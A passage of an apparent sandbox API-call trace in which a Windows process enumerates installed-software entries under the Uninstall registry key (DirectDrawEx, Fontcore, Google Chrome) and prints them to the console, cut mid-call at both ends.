lpUsedDefaultChar=0x0) returned 1 [0149.008] GetConsoleOutputCP () returned 0x1b5 [0149.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.008] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.008] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00) returned 1 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c00) returned 0x20 [0149.009] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00 | out: hHeap=0x3c0000) returned 1 [0149.009] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db830 [0149.009] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager") returned 101 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xce) returned 0x3dee60 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x2 [0149.009] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60) returned 1 [0149.009] GetProcessHeap () returned 0x3c0000 [0149.009] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee60) returned 0xce [0149.009] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60 | out: hHeap=0x3c0000) returned 1 [0149.009] RegCloseKey (hKey=0x5c) returned 0x0 [0149.009] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x3, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.009] __iob_func () returned 0x7fefd702a80 [0149.009] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.009] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n") returned 96 [0149.009] _fileno (_File=0x7fefd702ab0) returned 1 [0149.009] _errno () returned 0x204bb0 [0149.009] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.009] _errno () returned 0x204bb0 [0149.009] GetFileType (hFile=0x50) returned 0x1 [0149.009] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n") returned 96 [0149.009] GetConsoleOutputCP () returned 0x1b5 [0149.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n", cchWideChar=96, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 96 [0149.010] GetConsoleOutputCP () returned 0x1b5 [0149.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n", cchWideChar=96, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx\n", lpUsedDefaultChar=0x0) returned 96 [0149.010] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 96 [0149.010] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.010] RegOpenKeyExW (in: hKey=0x58, lpSubKey="DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.010] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.010] GetProcessHeap () returned 0x3c0000 [0149.010] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db830 [0149.010] __iob_func () returned 0x7fefd702a80 [0149.010] _fileno (_File=0x7fefd702ab0) returned 1 [0149.010] _errno () returned 0x204bb0 [0149.010] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.010] _errno () returned 0x204bb0 [0149.010] GetFileType (hFile=0x50) returned 0x1 [0149.010] lstrlenW (lpString="\n") returned 1 [0149.010] GetConsoleOutputCP () returned 0x1b5 [0149.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.010] GetConsoleOutputCP () returned 0x1b5 [0149.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.010] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.010] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x2 [0149.011] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.011] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db830 [0149.011] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx") returned 95 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc2) returned 0x3dee60 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x2 [0149.011] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60) returned 1 [0149.011] GetProcessHeap () returned 0x3c0000 [0149.011] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee60) returned 0xc2 [0149.011] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60 | out: hHeap=0x3c0000) returned 1 [0149.011] RegCloseKey (hKey=0x5c) returned 0x0 [0149.011] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x4, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.011] __iob_func () returned 0x7fefd702a80 [0149.011] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.011] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n") returned 92 [0149.011] _fileno (_File=0x7fefd702ab0) returned 1 [0149.011] _errno () returned 0x204bb0 [0149.011] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.011] _errno () returned 0x204bb0 [0149.011] GetFileType (hFile=0x50) returned 0x1 [0149.011] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n") returned 92 [0149.011] GetConsoleOutputCP () returned 0x1b5 [0149.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n", cchWideChar=92, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 92 [0149.012] GetConsoleOutputCP () returned 0x1b5 [0149.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n", cchWideChar=92, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore\n", lpUsedDefaultChar=0x0) returned 92 [0149.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 92 [0149.012] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.012] RegOpenKeyExW (in: hKey=0x58, lpSubKey="Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.012] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.012] GetProcessHeap () returned 0x3c0000 [0149.012] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db830 [0149.012] __iob_func () returned 0x7fefd702a80 [0149.012] _fileno (_File=0x7fefd702ab0) returned 1 [0149.012] _errno () returned 0x204bb0 [0149.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.012] _errno () returned 0x204bb0 [0149.012] GetFileType (hFile=0x50) returned 0x1 [0149.012] lstrlenW (lpString="\n") returned 1 [0149.012] GetConsoleOutputCP () returned 0x1b5 [0149.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.012] GetConsoleOutputCP () returned 0x1b5 [0149.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.013] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x2 [0149.013] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.013] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3db830 [0149.013] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore") returned 91 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xba) returned 0x3dee60 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x2 [0149.013] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60) returned 1 [0149.013] GetProcessHeap () returned 0x3c0000 [0149.013] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee60) returned 0xba [0149.013] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee60 | out: hHeap=0x3c0000) returned 1 [0149.013] RegCloseKey (hKey=0x5c) returned 0x0 [0149.013] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x5, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Google Chrome", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.013] __iob_func () returned 0x7fefd702a80 [0149.013] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.013] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome\n") returned 97 [0149.013] _fileno (_File=0x7fefd702ab0) returned 1 [0149.013] _errno () returned 0x204bb0 [0149.013] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.013] _errno () returned 0x204bb0 [0149.013] GetFileType (hFile=0x50) returned 0x1 [0149.013] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome\n") returned 97 [0149.014] GetConsoleOutputCP () returned 0x1b5 [0149.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome\n", cchWideChar=97, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 97 [0149.014] GetConsoleOutputCP () returned 0x1b5 [0149.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome\n", cchWideChar=97, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Google Chrome\n", lpUsedDefaultChar=0x0) returned 97 [0149.014] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 97 [0149.014] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.014] RegOpenKeyExW (in: hKey=0x58, lpSubKey="Google Chrome", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.014] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0xc, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.014] GetProcessHeap () returned 0x3c0000 [0149.014] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c00 [0149.014] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.014] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1e) returned 0x0 [0149.014] GetProcessHeap () returned 0x3c0000 [0149.014] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c30 [0149.014] GetProcessHeap () returned 0x3c0000 [0149.014] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.014] GetProcessHeap () returned 0x3c0000 [0149.014] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0149.014] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1e | out: pdwType=0x29f700*=0x1, pvData="Google Chrome", pcbData=0x29f780*=0x1c) returned 0x0 [0149.014] __iob_func () returned 0x7fefd702a80 [0149.014] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.015] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.015] _fileno (_File=0x7fefd702ab0) returned 1 [0149.015] _errno () returned 0x204bb0 [0149.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.015] _errno () returned 0x204bb0 [0149.015] GetFileType (hFile=0x50) returned 0x1 [0149.015] lstrlenW (lpString=" ") returned 4 [0149.015] GetConsoleOutputCP () returned 0x1b5 [0149.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.015] GetConsoleOutputCP () returned 0x1b5 [0149.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.015] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.015] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.015] lstrlenW (lpString="DisplayName") returned 11 [0149.015] __iob_func () returned 0x7fefd702a80 [0149.015] _fileno (_File=0x7fefd702ab0) returned 1 [0149.015] _errno () returned 0x204bb0 [0149.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.015] _errno () returned 0x204bb0 [0149.015] GetFileType (hFile=0x50) returned 0x1 [0149.015] lstrlenW (lpString="DisplayName") returned 11 [0149.015] GetConsoleOutputCP () returned 0x1b5 [0149.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.015] GetConsoleOutputCP () returned 0x1b5 [0149.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.016] __iob_func () returned 0x7fefd702a80 [0149.016] _fileno (_File=0x7fefd702ab0) returned 1 [0149.016] _errno () returned 0x204bb0 [0149.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.016] _errno () returned 0x204bb0 [0149.016] GetFileType (hFile=0x50) returned 0x1 [0149.016] lstrlenW (lpString=" ") returned 4 [0149.016] GetConsoleOutputCP () returned 0x1b5 [0149.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.016] GetConsoleOutputCP () returned 0x1b5 [0149.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.016] __iob_func () returned 0x7fefd702a80 [0149.016] _fileno (_File=0x7fefd702ab0) returned 1 [0149.016] _errno () returned 0x204bb0 [0149.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.016] _errno () returned 0x204bb0 [0149.016] GetFileType (hFile=0x50) returned 0x1 [0149.016] lstrlenW (lpString="REG_SZ") returned 6 [0149.017] GetConsoleOutputCP () returned 0x1b5 [0149.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.017] GetConsoleOutputCP () returned 0x1b5 [0149.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.017] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.017] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.017] __iob_func () returned 0x7fefd702a80 [0149.017] _fileno (_File=0x7fefd702ab0) returned 1 [0149.017] _errno () returned 0x204bb0 [0149.017] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.017] _errno () returned 0x204bb0 [0149.017] GetFileType (hFile=0x50) returned 0x1 [0149.017] lstrlenW (lpString=" ") returned 4 [0149.017] GetConsoleOutputCP () returned 0x1b5 [0149.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, 